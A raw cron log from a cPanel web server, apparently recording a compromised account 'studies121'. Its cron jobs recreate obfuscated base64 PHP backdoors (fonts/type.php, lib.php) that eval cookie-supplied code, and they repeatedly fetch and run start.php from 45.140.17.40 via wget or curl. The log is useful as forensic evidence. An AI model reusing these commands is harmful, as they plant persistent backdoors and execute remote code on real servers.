Sep 21 21:12:01 ip-184-168-122-23 CROND[17777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:12:01 ip-184-168-122-23 CROND[17781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:13:01 ip-184-168-122-23 CROND[17895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:13:01 ip-184-168-122-23 CROND[17897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:13:01 ip-184-168-122-23 CROND[17898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:13:01 ip-184-168-122-23 CROND[17899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:14:01 ip-184-168-122-23 CROND[18012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:14:01 ip-184-168-122-23 CROND[18013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:14:01 ip-184-168-122-23 CROND[18015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:14:01 ip-184-168-122-23 CROND[18016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:14:01 ip-184-168-122-23 CROND[18014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:15:01 ip-184-168-122-23 CROND[18124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:15:01 ip-184-168-122-23 CROND[18130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:15:01 ip-184-168-122-23 CROND[18134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:15:01 ip-184-168-122-23 CROND[18133]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:15:01 ip-184-168-122-23 CROND[18132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:15:01 ip-184-168-122-23 CROND[18135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:16:01 ip-184-168-122-23 CROND[18235]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:16:01 ip-184-168-122-23 CROND[18237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:16:01 ip-184-168-122-23 CROND[18240]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 21:16:01 ip-184-168-122-23 CROND[18238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:16:01 ip-184-168-122-23 CROND[18239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:16:01 ip-184-168-122-23 CROND[18242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:17:01 ip-184-168-122-23 CROND[18357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:17:01 ip-184-168-122-23 CROND[18360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:17:01 ip-184-168-122-23 CROND[18361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:17:01 ip-184-168-122-23 CROND[18359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:18:01 ip-184-168-122-23 CROND[18481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:18:01 ip-184-168-122-23 CROND[18483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:18:01 ip-184-168-122-23 CROND[18484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:18:01 ip-184-168-122-23 CROND[18485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:18:01 ip-184-168-122-23 CROND[18486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:19:01 ip-184-168-122-23 CROND[18698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:19:01 ip-184-168-122-23 CROND[18697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:19:01 ip-184-168-122-23 CROND[18702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:19:01 ip-184-168-122-23 CROND[18703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:20:01 ip-184-168-122-23 CROND[18819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:20:01 ip-184-168-122-23 CROND[18822]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 21:20:01 ip-184-168-122-23 CROND[18828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:20:01 ip-184-168-122-23 CROND[18829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:20:01 ip-184-168-122-23 CROND[18825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:20:01 ip-184-168-122-23 CROND[18827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:20:01 ip-184-168-122-23 CROND[18826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:20:01 ip-184-168-122-23 CROND[18830]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 21:20:01 ip-184-168-122-23 CROND[18831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:21:01 ip-184-168-122-23 CROND[18957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:21:01 ip-184-168-122-23 CROND[18959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:21:01 ip-184-168-122-23 CROND[18961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:21:01 ip-184-168-122-23 CROND[18964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:22:01 ip-184-168-122-23 CROND[19111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:22:01 ip-184-168-122-23 CROND[19113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:22:01 ip-184-168-122-23 CROND[19114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:22:01 ip-184-168-122-23 CROND[19115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:22:01 ip-184-168-122-23 CROND[19116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:23:01 ip-184-168-122-23 CROND[19233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:23:01 ip-184-168-122-23 CROND[19236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:23:01 ip-184-168-122-23 CROND[19237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:23:01 ip-184-168-122-23 CROND[19235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:24:01 ip-184-168-122-23 CROND[19376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:24:01 ip-184-168-122-23 CROND[19378]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:24:01 ip-184-168-122-23 CROND[19379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
